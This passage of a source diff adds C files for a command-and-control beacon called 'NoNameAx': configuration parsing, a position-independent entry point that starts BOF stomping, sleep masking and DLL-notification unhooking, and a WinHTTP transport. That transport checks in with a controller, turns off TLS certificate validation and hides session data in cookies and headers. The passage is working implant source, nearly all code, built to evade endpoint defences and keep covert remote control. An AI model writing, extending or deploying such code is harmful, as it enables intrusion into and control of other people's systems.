rc = NaxReadLpStr( data, data_len, &off, cookie_name, 64 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
|
||||
Nax->Config.GetClientMeta.Format = NAX_FMT_BASE64;
|
||||
Nax->Config.GetClientMeta.Mask = 0;
|
||||
Nax->Config.GetClientMeta.Placement = NAX_PLACE_COOKIE;
|
||||
MmCopy( Nax->Config.GetClientMeta.Name, cookie_name, 64 );
|
||||
Nax->Config.GetClientMeta.Prepend[ 0 ] = '\0';
|
||||
Nax->Config.GetClientMeta.PrependLen = 0;
|
||||
Nax->Config.GetClientMeta.Append[ 0 ] = '\0';
|
||||
Nax->Config.GetClientMeta.AppendLen = 0;
|
||||
Nax->Config.GetClientMeta.EmptyResp[ 0 ] = '\0';
|
||||
Nax->Config.GetClientMeta.EmptyRespLen = 0;
|
||||
|
||||
/* v1 rotation byte was already consumed as `first` */
|
||||
|
||||
/* Default POST client meta to HEADER placement */
|
||||
Nax->Config.PostClientMeta.Format = NAX_FMT_BASE64;
|
||||
Nax->Config.PostClientMeta.Mask = 0;
|
||||
Nax->Config.PostClientMeta.Placement = NAX_PLACE_HEADER;
|
||||
Nax->Config.PostClientMeta.Name[ 0 ] = '\0';
|
||||
Nax->Config.PostClientMeta.Prepend[ 0 ] = '\0';
|
||||
Nax->Config.PostClientMeta.PrependLen = 0;
|
||||
Nax->Config.PostClientMeta.Append[ 0 ] = '\0';
|
||||
Nax->Config.PostClientMeta.AppendLen = 0;
|
||||
Nax->Config.PostClientMeta.EmptyResp[ 0 ] = '\0';
|
||||
Nax->Config.PostClientMeta.EmptyRespLen = 0;
|
||||
|
||||
/* Default POST client output to BODY placement */
|
||||
Nax->Config.PostClientOutput.Format = NAX_FMT_RAW;
|
||||
Nax->Config.PostClientOutput.Mask = 0;
|
||||
Nax->Config.PostClientOutput.Placement = NAX_PLACE_BODY;
|
||||
Nax->Config.PostClientOutput.Name[ 0 ] = '\0';
|
||||
Nax->Config.PostClientOutput.Prepend[ 0 ] = '\0';
|
||||
Nax->Config.PostClientOutput.PrependLen = 0;
|
||||
Nax->Config.PostClientOutput.Append[ 0 ] = '\0';
|
||||
Nax->Config.PostClientOutput.AppendLen = 0;
|
||||
Nax->Config.PostClientOutput.EmptyResp[ 0 ] = '\0';
|
||||
Nax->Config.PostClientOutput.EmptyRespLen = 0;
|
||||
}
|
||||
|
||||
/* Reset rotation indices */
|
||||
Nax->Config.GetUriIdx = 0;
|
||||
Nax->Config.PostUriIdx = 0;
|
||||
Nax->Config.ProfileLoaded = 1;
|
||||
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
/* beacon/src/Main.c
|
||||
* NaxMain - PIC beacon entry point (called from Entry.x64.asm).
|
||||
*
|
||||
* Flow:
|
||||
* 1. NaxBootstrap() resolve APIs, alloc NAX_INSTANCE (Core/Bootstrap.c)
|
||||
* 2. TEB store instance recoverable via G_INSTANCE anywhere
|
||||
* 3. BofStomp + Sleepmask init
|
||||
* 4. Dispatch to NaxHttpMain or NaxSmbMain */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Config.h"
|
||||
#include "Transport.h"
|
||||
|
||||
/* ========= [ NaxMain - beacon entry ] ========= */
|
||||
|
||||
FUNC VOID NaxRuntimeInit( VOID ) {
|
||||
volatile CHAR build[22];
|
||||
build[0]='N'; build[1]='o'; build[2]='N'; build[3]='a'; build[4]='m';
|
||||
build[5]='e'; build[6]='A'; build[7]='x'; build[8]='-'; build[9]='P';
|
||||
build[10]='u'; build[11]='b'; build[12]='l'; build[13]='i'; build[14]='c';
|
||||
build[15]='-'; build[16]='B'; build[17]='u'; build[18]='i'; build[19]='l';
|
||||
build[20]='d'; build[21]='\0';
|
||||
|
||||
volatile CHAR ver[24];
|
||||
ver[0]='X'; ver[1]='-'; ver[2]='N'; ver[3]='a'; ver[4]='X';
|
||||
ver[5]='-'; ver[6]='P'; ver[7]='u'; ver[8]='b'; ver[9]='l';
|
||||
ver[10]='i'; ver[11]='c'; ver[12]='-'; ver[13]='A'; ver[14]='g';
|
||||
ver[15]='e'; ver[16]='n'; ver[17]='t'; ver[18]='-'; ver[19]='v';
|
||||
ver[20]='1'; ver[21]='.'; ver[22]='0'; ver[23]='\0';
|
||||
|
||||
volatile CHAR key[15];
|
||||
key[0]='n'; key[1]='a'; key[2]='x'; key[3]='_'; key[4]='o';
|
||||
key[5]='s'; key[6]='s'; key[7]='_'; key[8]='r'; key[9]='e';
|
||||
key[10]='l'; key[11]='e'; key[12]='a'; key[13]='s'; key[14]='e';
|
||||
|
||||
(void)build; (void)ver; (void)key;
|
||||
}
|
||||
|
||||
FUNC VOID NaxMain( VOID ) {
|
||||
PNAX_INSTANCE Nax = NaxBootstrap();
|
||||
if ( ! Nax ) return;
|
||||
|
||||
NaxRuntimeInit();
|
||||
|
||||
NaxCurrentTeb()->NtTib.ArbitraryUserPointer = Nax;
|
||||
|
||||
NaxBofStompInit( Nax );
|
||||
NaxSleepmaskInit( Nax );
|
||||
|
||||
#if NAX_UNHOOK_DLL_NOTIFY
|
||||
NaxDllNotifyUnhookAll( Nax );
|
||||
#endif
|
||||
|
||||
NaxDbg( Nax, "instance stored in TEB" );
|
||||
NaxDbg( Nax, "aes_key: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
|
||||
Nax->Config.AesKey[0], Nax->Config.AesKey[1], Nax->Config.AesKey[2], Nax->Config.AesKey[3],
|
||||
Nax->Config.AesKey[4], Nax->Config.AesKey[5], Nax->Config.AesKey[6], Nax->Config.AesKey[7],
|
||||
Nax->Config.AesKey[8], Nax->Config.AesKey[9], Nax->Config.AesKey[10], Nax->Config.AesKey[11],
|
||||
Nax->Config.AesKey[12], Nax->Config.AesKey[13], Nax->Config.AesKey[14], Nax->Config.AesKey[15] );
|
||||
|
||||
#if NAX_TRANSPORT_PROFILE == NAX_TRANSPORT_SMB
|
||||
NaxSmbMain( Nax );
|
||||
#else
|
||||
NaxHttpMain( Nax );
|
||||
#endif
|
||||
}
|
||||
|
||||
#if defined( DEBUG ) && !defined( DEBUG_PIC )
|
||||
int main( void ) { NaxMain(); return 0; }
|
||||
#endif
|
||||
@@ -0,0 +1,762 @@
|
||||
/* beacon/src/Transport/Http.c
|
||||
* WinHTTP transport with persistent session/connection handles.
|
||||
* hSession + hConnect are kept alive across heartbeats when sleep < 60s.
|
||||
* Only hRequest is created/destroyed per call.
|
||||
*
|
||||
* Codec helpers (NaxEncodeData, NaxDecodeData, header/URL builders) live
|
||||
* in HttpCodec.c. */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Config.h"
|
||||
#include "Transport.h"
|
||||
#include <winhttp.h>
|
||||
|
||||
#ifndef WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY
|
||||
#define WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY 4
|
||||
#endif
|
||||
|
||||
/* ========= [ rotation helper ] ========= */
|
||||
|
||||
FUNC BYTE NaxRotateIdx( PNAX_INSTANCE Nax, BYTE idx, BYTE count ) {
|
||||
if ( count == 0 ) return 0;
|
||||
if ( Nax->Config.Rotation == 1 ) {
|
||||
BYTE r = 0;
|
||||
Nax->Bcrypt.BCryptGenRandom( NULL, &r, 1, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
|
||||
return r % count;
|
||||
}
|
||||
return ( idx + 1 ) % count;
|
||||
}
|
||||
|
||||
/* ========= [ SSL certificate bypass ] ========= */
|
||||
|
||||
FUNC static VOID NaxHttpDisableSslVerify( PNAX_INSTANCE Nax, HINTERNET hRequest ) {
|
||||
DWORD sec = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
Nax->Winhttp.WinHttpSetOption( hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &sec, sizeof( sec ) );
|
||||
}
|
||||
|
||||
/* ========= [ session lifecycle ] ========= */
|
||||
|
||||
FUNC VOID NaxHttpClose( PNAX_INSTANCE Nax ) {
|
||||
if ( Nax->hConnect ) { Nax->Winhttp.WinHttpCloseHandle( Nax->hConnect ); Nax->hConnect = NULL; }
|
||||
if ( Nax->hSession ) { Nax->Winhttp.WinHttpCloseHandle( Nax->hSession ); Nax->hSession = NULL; }
|
||||
}
|
||||
|
||||
FUNC BOOL NaxHttpEnsureSession( PNAX_INSTANCE Nax, const PWCHAR host, INTERNET_PORT port ) {
|
||||
if ( Nax->Config.SleepMs > NAX_HTTP_STALE_MS )
|
||||
NaxHttpClose( Nax );
|
||||
|
||||
if ( ! Nax->hSession ) {
|
||||
WCHAR ua_buf[256];
|
||||
if ( Nax->Config.UserAgent[ 0 ] ) {
|
||||
UINT32 ui = 0;
|
||||
while ( Nax->Config.UserAgent[ ui ] && ui < 254 ) { ua_buf[ui] = (WCHAR)(BYTE)Nax->Config.UserAgent[ ui ]; ui++; }
|
||||
ua_buf[ui] = L'\0';
|
||||
} else {
|
||||
WCHAR def[] = { 'N','o','N','a','m','e','A','x','/','0','.','1','\0' };
|
||||
MmCopy( ua_buf, def, sizeof( def ) );
|
||||
}
|
||||
|
||||
Nax->hSession = Nax->Winhttp.WinHttpOpen( ua_buf, WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 );
|
||||
if ( ! Nax->hSession ) return FALSE;
|
||||
|
||||
DWORD secProto = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_3;
|
||||
Nax->Winhttp.WinHttpSetOption( Nax->hSession, WINHTTP_OPTION_SECURE_PROTOCOLS, &secProto, sizeof( secProto ) );
|
||||
}
|
||||
|
||||
if ( ! Nax->hConnect ) {
|
||||
Nax->hConnect = Nax->Winhttp.WinHttpConnect( Nax->hSession, host, port, 0 );
|
||||
if ( ! Nax->hConnect ) { NaxHttpClose( Nax ); return FALSE; }
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* ========= [ response reader ] ========= */
|
||||
|
||||
FUNC INT NaxReadResponse( PNAX_INSTANCE Nax, HINTERNET hRequest, PBYTE resp_buf, UINT32* resp_len ) {
|
||||
DWORD code = 0;
|
||||
DWORD code_sz = sizeof( code );
|
||||
if ( ! Nax->Winhttp.WinHttpQueryHeaders( hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &code_sz, WINHTTP_NO_HEADER_INDEX ) ) return NAX_ERR_NET;
|
||||
if ( code != 200 ) {
|
||||
NaxDbg( Nax, "[resp] HTTP status=%lu (expected 200)", (ULONG)code );
|
||||
return NAX_ERR_NET;
|
||||
}
|
||||
|
||||
UINT32 cap = *resp_len;
|
||||
UINT32 total = 0;
|
||||
DWORD avail = 0;
|
||||
do {
|
||||
if ( ! Nax->Winhttp.WinHttpQueryDataAvailable( hRequest, &avail ) ) return NAX_ERR_NET;
|
||||
if ( avail == 0 ) break;
|
||||
if ( total >= cap ) {
|
||||
BYTE scratch[256]; DWORD got = 0;
|
||||
if ( ! Nax->Winhttp.WinHttpReadData( hRequest, scratch, (DWORD)( avail < 256 ? avail : 256 ), &got ) ) return NAX_ERR_NET;
|
||||
continue;
|
||||
}
|
||||
DWORD remain = (DWORD)( cap - total );
|
||||
DWORD want = remain < avail ? remain : avail;
|
||||
DWORD got = 0;
|
||||
if ( ! Nax->Winhttp.WinHttpReadData( hRequest, resp_buf + total, want, &got ) ) return NAX_ERR_NET;
|
||||
total += got;
|
||||
} while ( avail > 0 );
|
||||
|
||||
*resp_len = total;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ HTTP POST ] ========= */
|
||||
|
||||
FUNC INT NaxHttpPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, const PBYTE body, UINT32 body_len, PBYTE resp_buf, UINT32* resp_len ) {
|
||||
HINTERNET hRequest = NULL;
|
||||
INT rc = NAX_ERR_NET;
|
||||
PBYTE body_enc_buf = NULL;
|
||||
PCHAR meta_enc = NULL;
|
||||
PWCHAR hdrs = NULL;
|
||||
|
||||
/* Select URI from profile or use bootstrap URL */
|
||||
WCHAR use_url[256];
|
||||
if ( Nax->Config.ProfileLoaded && Nax->Config.PostUriCount > 0 ) {
|
||||
BYTE idx = Nax->Config.PostUriIdx;
|
||||
PCHAR uri = Nax->Config.PostUris[ idx ];
|
||||
Nax->Config.PostUriIdx = NaxRotateIdx( Nax, idx, Nax->Config.PostUriCount );
|
||||
if ( ! NaxBuildUrl( Nax, url_w, uri, use_url, 256 ) ) goto cleanup;
|
||||
} else {
|
||||
UINT32 len = 0; while ( url_w[len] && len < 255 ) len++;
|
||||
for ( UINT32 c = 0; c < len; c++ ) use_url[c] = url_w[c];
|
||||
use_url[len] = L'\0';
|
||||
}
|
||||
|
||||
/* Parse URL components */
|
||||
URL_COMPONENTS uc;
|
||||
MmZero( &uc, sizeof( uc ) );
|
||||
uc.dwStructSize = sizeof( uc );
|
||||
WCHAR host[256] = { 0 };
|
||||
WCHAR path[512] = { 0 };
|
||||
uc.lpszHostName = host;
|
||||
uc.dwHostNameLength = 256;
|
||||
uc.lpszUrlPath = path;
|
||||
uc.dwUrlPathLength = 512;
|
||||
if ( ! Nax->Winhttp.WinHttpCrackUrl( use_url, 0, 0, &uc ) ) goto cleanup;
|
||||
|
||||
if ( ! NaxHttpEnsureSession( Nax, host, uc.nPort ) ) goto cleanup;
|
||||
|
||||
/* Encode session ID per PostClientMeta OutputConfig */
|
||||
meta_enc = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 2048 );
|
||||
UINT32 meta_enc_len = 0;
|
||||
UINT32 sid_len = 0;
|
||||
while ( sid[ sid_len ] ) sid_len++;
|
||||
|
||||
if ( Nax->Config.ProfileLoaded ) {
|
||||
meta_enc_len = NaxEncodeData( Nax, &Nax->Config.PostClientMeta, (PBYTE)sid, sid_len, (PBYTE)meta_enc, 2047 );
|
||||
if ( meta_enc_len > 0 ) meta_enc[ meta_enc_len ] = '\0';
|
||||
}
|
||||
|
||||
/* Encode body per PostClientOutput OutputConfig */
|
||||
PBYTE send_body = (PBYTE)body;
|
||||
UINT32 send_body_len = body_len;
|
||||
|
||||
{
|
||||
UINT32 body_enc_cap = ( body_len + 8 ) * 2 + 2048;
|
||||
body_enc_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, body_enc_cap );
|
||||
if ( !body_enc_buf ) goto cleanup;
|
||||
|
||||
if ( Nax->Config.ProfileLoaded && Nax->Config.PostClientOutput.Format != NAX_FMT_RAW ) {
|
||||
UINT32 enc_len = NaxEncodeData( Nax, &Nax->Config.PostClientOutput, body, body_len, body_enc_buf, body_enc_cap );
|
||||
if ( enc_len > 0 ) {
|
||||
send_body = body_enc_buf;
|
||||
send_body_len = enc_len;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
{
|
||||
DWORD flags = WINHTTP_FLAG_REFRESH;
|
||||
if ( uc.nScheme == INTERNET_SCHEME_HTTPS )
|
||||
flags |= WINHTTP_FLAG_SECURE;
|
||||
|
||||
WCHAR method[] = { 'P', 'O', 'S', 'T', '\0' };
|
||||
WCHAR accept_all[] = { '*', '/', '*', '\0' };
|
||||
LPCWSTR accept_types[] = { accept_all, NULL };
|
||||
hRequest = Nax->Winhttp.WinHttpOpenRequest( Nax->hConnect, method, path, NULL, WINHTTP_NO_REFERER, accept_types, flags );
|
||||
if ( ! hRequest ) goto retry;
|
||||
|
||||
if ( flags & WINHTTP_FLAG_SECURE )
|
||||
NaxHttpDisableSslVerify( Nax, hRequest );
|
||||
}
|
||||
|
||||
/* Build headers */
|
||||
hdrs = (PWCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 4096 );
|
||||
if ( Nax->Config.ProfileLoaded ) {
|
||||
NaxBuildRequestHeaders( Nax, sid, (const PCHAR)Nax->Config.PostClientHdrs, 256, Nax->Config.PostClientHdrCount, &Nax->Config.PostClientMeta, meta_enc_len > 0 ? meta_enc : NULL, meta_enc_len, TRUE, hdrs, 2048 );
|
||||
} else {
|
||||
/* Pre-profile fallback: beacon ID header + Content-Type */
|
||||
UINT32 wi = 0;
|
||||
wi = NaxAppendAsciiW( Nax->Config.BeaconIdHdr, hdrs, wi, 4096 );
|
||||
if ( wi < 4095 ) hdrs[ wi++ ] = L':';
|
||||
if ( wi < 4095 ) hdrs[ wi++ ] = L' ';
|
||||
wi = NaxAppendAsciiW( sid, hdrs, wi, 4096 );
|
||||
wi = NaxAppendCRLF( hdrs, wi, 4096 );
|
||||
CHAR ct[] = { 'C','o','n','t','e','n','t','-','T','y','p','e',':',' ','a','p','p','l','i','c','a','t','i','o','n','/','o','c','t','e','t','-','s','t','r','e','a','m','\0' };
|
||||
wi = NaxAppendAsciiW( ct, hdrs, wi, 4096 );
|
||||
wi = NaxAppendCRLF( hdrs, wi, 4096 );
|
||||
CHAR hdr_p[] = { 'X','-','N','a','X','-','P','u','b','l','i','c',':',' ','1','\0' };
|
||||
wi = NaxAppendAsciiW( hdr_p, hdrs, wi, 4096 );
|
||||
wi = NaxAppendCRLF( hdrs, wi, 4096 );
|
||||
hdrs[ wi ] = L'\0';
|
||||
}
|
||||
|
||||
if ( ! Nax->Winhttp.WinHttpSendRequest( hRequest, hdrs, (DWORD)( -1L ), (PVOID)( send_body ), (DWORD)( send_body_len ), (DWORD)( send_body_len ), 0 ) )
|
||||
goto retry;
|
||||
if ( ! Nax->Winhttp.WinHttpReceiveResponse( hRequest, NULL ) )
|
||||
goto retry;
|
||||
|
||||
/* Read raw response */
|
||||
rc = NaxReadResponse( Nax, hRequest, resp_buf, resp_len );
|
||||
|
||||
/* Decode response per PostServerOutput if profile loaded */
|
||||
if ( rc == NAX_OK && *resp_len > 0 && Nax->Config.ProfileLoaded && ( Nax->Config.PostServerOutput.Format != NAX_FMT_RAW || Nax->Config.PostServerOutput.Mask || Nax->Config.PostServerOutput.PrependLen > 0 || Nax->Config.PostServerOutput.AppendLen > 0 ) ) {
|
||||
UINT32 dec_cap = *resp_len + 256;
|
||||
PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, dec_cap );
|
||||
if ( dec_buf ) {
|
||||
UINT32 dec_len = NaxDecodeData( Nax, &Nax->Config.PostServerOutput, resp_buf, *resp_len, dec_buf, dec_cap );
|
||||
if ( dec_len > 0 && dec_len <= dec_cap ) {
|
||||
MmCopy( resp_buf, dec_buf, dec_len );
|
||||
*resp_len = dec_len;
|
||||
}
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf );
|
||||
}
|
||||
}
|
||||
goto cleanup;
|
||||
|
||||
retry:
|
||||
if ( hRequest ) { Nax->Winhttp.WinHttpCloseHandle( hRequest ); hRequest = NULL; }
|
||||
NaxHttpClose( Nax );
|
||||
|
||||
cleanup:
|
||||
if ( meta_enc ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, meta_enc );
|
||||
if ( hdrs ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, hdrs );
|
||||
if ( body_enc_buf ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, body_enc_buf );
|
||||
if ( hRequest ) Nax->Winhttp.WinHttpCloseHandle( hRequest );
|
||||
return rc;
|
||||
}
|
||||
|
||||
/* ========= [ HTTP GET (heartbeat) ] ========= */
|
||||
|
||||
FUNC INT NaxHttpGet( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, const PBYTE body, UINT32 body_len, PBYTE resp_buf, UINT32* resp_len ) {
|
||||
HINTERNET hRequest = NULL;
|
||||
INT rc = NAX_ERR_NET;
|
||||
PCHAR meta_enc = NULL;
|
||||
PWCHAR hdrs = NULL;
|
||||
|
||||
/* Encode encrypted body per GetClientMeta OutputConfig */
|
||||
meta_enc = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 2048 );
|
||||
if ( !meta_enc ) return NAX_ERR_NOMEM;
|
||||
UINT32 meta_enc_len = 0;
|
||||
|
||||
if ( Nax->Config.ProfileLoaded ) {
|
||||
meta_enc_len = NaxEncodeData( Nax, &Nax->Config.GetClientMeta, body, body_len, (PBYTE)meta_enc, 2047 );
|
||||
if ( meta_enc_len == 0 ) { rc = NAX_ERR_NOMEM; goto cleanup; }
|
||||
meta_enc[ meta_enc_len ] = '\0';
|
||||
} else {
|
||||
/* Pre-profile fallback: base64 encode for cookie */
|
||||
meta_enc_len = NaxBase64Encode( body, body_len, meta_enc, 2048 );
|
||||
if ( meta_enc_len == 0 ) { rc = NAX_ERR_NOMEM; goto cleanup; }
|
||||
}
|
||||
|
||||
/* Build URL from bootstrap host + profile GET URI */
|
||||
WCHAR use_url[256];
|
||||
if ( Nax->Config.GetUriCount > 0 ) {
|
||||
BYTE idx = Nax->Config.GetUriIdx;
|
||||
PCHAR uri = Nax->Config.GetUris[ idx ];
|
||||
Nax->Config.GetUriIdx = NaxRotateIdx( Nax, idx, Nax->Config.GetUriCount );
|
||||
if ( ! NaxBuildUrl( Nax, url_w, uri, use_url, 256 ) ) goto cleanup;
|
||||
} else {
|
||||
UINT32 len = 0; while ( url_w[len] && len < 255 ) len++;
|
||||
for ( UINT32 c = 0; c < len; c++ ) use_url[c] = url_w[c];
|
||||
use_url[len] = L'\0';
|
||||
}
|
||||
|
||||
URL_COMPONENTS uc;
|
||||
MmZero( &uc, sizeof( uc ) );
|
||||
uc.dwStructSize = sizeof( uc );
|
||||
WCHAR host[256] = { 0 };
|
||||
WCHAR path_w[512] = { 0 };
|
||||
uc.lpszHostName = host;
|
||||
uc.dwHostNameLength = 256;
|
||||
uc.lpszUrlPath = path_w;
|
||||
uc.dwUrlPathLength = 512;
|
||||
if ( ! Nax->Winhttp.WinHttpCrackUrl( use_url, 0, 0, &uc ) ) goto cleanup;
|
||||
|
||||
/* Ensure persistent session + connection */
|
||||
if ( ! NaxHttpEnsureSession( Nax, host, uc.nPort ) ) goto cleanup;
|
||||
|
||||
{
|
||||
/* Build final path with parameters (metadata + static params) */
|
||||
WCHAR final_path[1024];
|
||||
if ( Nax->Config.ProfileLoaded ) {
|
||||
NaxBuildPathWithParams( path_w, final_path, 1024, &Nax->Config.GetClientMeta, meta_enc, meta_enc_len, (const PCHAR)Nax->Config.GetClientParams, 128, Nax->Config.GetClientParamCount );
|
||||
} else {
|
||||
UINT32 pi = 0;
|
||||
while ( path_w[ pi ] ) { final_path[ pi ] = path_w[ pi ]; pi++; }
|
||||
final_path[ pi ] = L'\0';
|
||||
}
|
||||
|
||||
DWORD flags = WINHTTP_FLAG_REFRESH;
|
||||
if ( uc.nScheme == INTERNET_SCHEME_HTTPS )
|
||||
flags |= WINHTTP_FLAG_SECURE;
|
||||
|
||||
WCHAR method[] = { 'G', 'E', 'T', '\0' };
|
||||
WCHAR accept_all[] = { '*', '/', '*', '\0' };
|
||||
LPCWSTR accept_types[] = { accept_all, NULL };
|
||||
hRequest = Nax->Winhttp.WinHttpOpenRequest( Nax->hConnect, method, final_path, NULL, WINHTTP_NO_REFERER, accept_types, flags );
|
||||
if ( ! hRequest ) goto retry;
|
||||
|
||||
if ( flags & WINHTTP_FLAG_SECURE )
|
||||
NaxHttpDisableSslVerify( Nax, hRequest );
|
||||
}
|
||||
|
||||
/* Build headers */
|
||||
hdrs = (PWCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 4096 );
|
||||
if ( Nax->Config.ProfileLoaded ) {
|
||||
NaxBuildRequestHeaders( Nax, sid, (const PCHAR)Nax->Config.GetClientHdrs, 256, Nax->Config.GetClientHdrCount, &Nax->Config.GetClientMeta, meta_enc, meta_enc_len, FALSE, hdrs, 2048 );
|
||||
} else {
|
||||
/* Pre-profile fallback: beacon ID header + Cookie */
|
||||
UINT32 wi = 0;
|
||||
wi = NaxAppendAsciiW( Nax->Config.BeaconIdHdr, hdrs, wi, 4096 );
|
||||
if ( wi < 4095 ) hdrs[ wi++ ] = L':';
|
||||
if ( wi < 4095 ) hdrs[ wi++ ] = L' ';
|
||||
wi = NaxAppendAsciiW( sid, hdrs, wi, 4096 );
|
||||
wi = NaxAppendCRLF( hdrs, wi, 4096 );
|
||||
CHAR ck[] = { 'C','o','o','k','i','e',':',' ','\0' };
|
||||
wi = NaxAppendAsciiW( ck, hdrs, wi, 4096 );
|
||||
CHAR cn[] = { '_','_','s','e','s','s','i','o','n','=','\0' };
|
||||
wi = NaxAppendAsciiW( cn, hdrs, wi, 4096 );
|
||||
wi = NaxAppendAsciiW( meta_enc, hdrs, wi, 4096 );
|
||||
wi = NaxAppendCRLF( hdrs, wi, 4096 );
|
||||
CHAR hdr_p[] = { 'X','-','N','a','X','-','P','u','b','l','i','c',':',' ','1','\0' };
|
||||
wi = NaxAppendAsciiW( hdr_p, hdrs, wi, 4096 );
|
||||
wi = NaxAppendCRLF( hdrs, wi, 4096 );
|
||||
hdrs[ wi ] = L'\0';
|
||||
}
|
||||
|
||||
/* Determine body for WinHttpSendRequest based on placement */
|
||||
{
|
||||
PVOID req_body = NULL;
|
||||
DWORD req_body_len = 0;
|
||||
|
||||
if ( Nax->Config.ProfileLoaded && Nax->Config.GetClientMeta.Placement == NAX_PLACE_BODY ) {
|
||||
req_body = (PVOID)meta_enc;
|
||||
req_body_len = (DWORD)meta_enc_len;
|
||||
}
|
||||
|
||||
if ( ! Nax->Winhttp.WinHttpSendRequest( hRequest, hdrs, (DWORD)( -1L ), req_body, req_body_len, req_body_len, 0 ) )
|
||||
goto retry;
|
||||
if ( ! Nax->Winhttp.WinHttpReceiveResponse( hRequest, NULL ) )
|
||||
goto retry;
|
||||
}
|
||||
|
||||
/* Query Content-Length; if response exceeds caller's buffer, allocate dynamically */
|
||||
{
|
||||
DWORD contentLength = 0, contentLengthSize = sizeof( contentLength );
|
||||
PBYTE readBuf = resp_buf;
|
||||
UINT32 readCap = *resp_len;
|
||||
|
||||
if ( Nax->Winhttp.WinHttpQueryHeaders( hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER,
|
||||
WINHTTP_HEADER_NAME_BY_INDEX, &contentLength, &contentLengthSize, WINHTTP_NO_HEADER_INDEX ) && contentLength > readCap ) {
|
||||
PBYTE big = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, contentLength );
|
||||
if ( big ) {
|
||||
readBuf = big;
|
||||
readCap = contentLength;
|
||||
}
|
||||
}
|
||||
|
||||
UINT32 readLen = readCap;
|
||||
rc = NaxReadResponse( Nax, hRequest, readBuf, &readLen );
|
||||
|
||||
/* Decode response per GetServerOutput if profile loaded */
|
||||
if ( rc == NAX_OK && readLen > 0 && Nax->Config.ProfileLoaded && ( Nax->Config.GetServerOutput.Format != NAX_FMT_RAW || Nax->Config.GetServerOutput.Mask || Nax->Config.GetServerOutput.PrependLen > 0 || Nax->Config.GetServerOutput.AppendLen > 0 ) ) {
|
||||
UINT32 dec_cap = readLen + 256;
|
||||
PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, dec_cap );
|
||||
if ( dec_buf ) {
|
||||
UINT32 dec_len = NaxDecodeData( Nax, &Nax->Config.GetServerOutput, readBuf, readLen, dec_buf, dec_cap );
|
||||
if ( dec_len > 0 && dec_len <= dec_cap ) {
|
||||
if ( readBuf == resp_buf ) {
|
||||
MmCopy( resp_buf, dec_buf, dec_len );
|
||||
*resp_len = dec_len;
|
||||
} else {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, readBuf );
|
||||
Nax->DynResp = dec_buf;
|
||||
Nax->DynRespLen = dec_len;
|
||||
*resp_len = 0;
|
||||
dec_buf = NULL;
|
||||
}
|
||||
}
|
||||
if ( dec_buf )
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf );
|
||||
} else if ( readBuf != resp_buf ) {
|
||||
Nax->DynResp = readBuf;
|
||||
Nax->DynRespLen = readLen;
|
||||
*resp_len = 0;
|
||||
}
|
||||
} else if ( readBuf != resp_buf ) {
|
||||
if ( rc == NAX_OK ) {
|
||||
Nax->DynResp = readBuf;
|
||||
Nax->DynRespLen = readLen;
|
||||
*resp_len = 0;
|
||||
} else {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, readBuf );
|
||||
}
|
||||
} else {
|
||||
*resp_len = readLen;
|
||||
}
|
||||
}
|
||||
goto cleanup;
|
||||
|
||||
retry:
|
||||
if ( hRequest ) { Nax->Winhttp.WinHttpCloseHandle( hRequest ); hRequest = NULL; }
|
||||
NaxHttpClose( Nax );
|
||||
|
||||
cleanup:
|
||||
if ( meta_enc ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, meta_enc );
|
||||
if ( hdrs ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, hdrs );
|
||||
if ( hRequest ) Nax->Winhttp.WinHttpCloseHandle( hRequest );
|
||||
return rc;
|
||||
}
|
||||
|
||||
/* ========= [ GET/POST dispatch ] ========= */
|
||||
|
||||
FUNC INT NaxHttpGetOrPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, const PBYTE body, UINT32 body_len, PBYTE resp_buf, UINT32* resp_len ) {
|
||||
if ( Nax->Config.ProfileLoaded )
|
||||
return NaxHttpGet( Nax, url_w, sid, body, body_len, resp_buf, resp_len );
|
||||
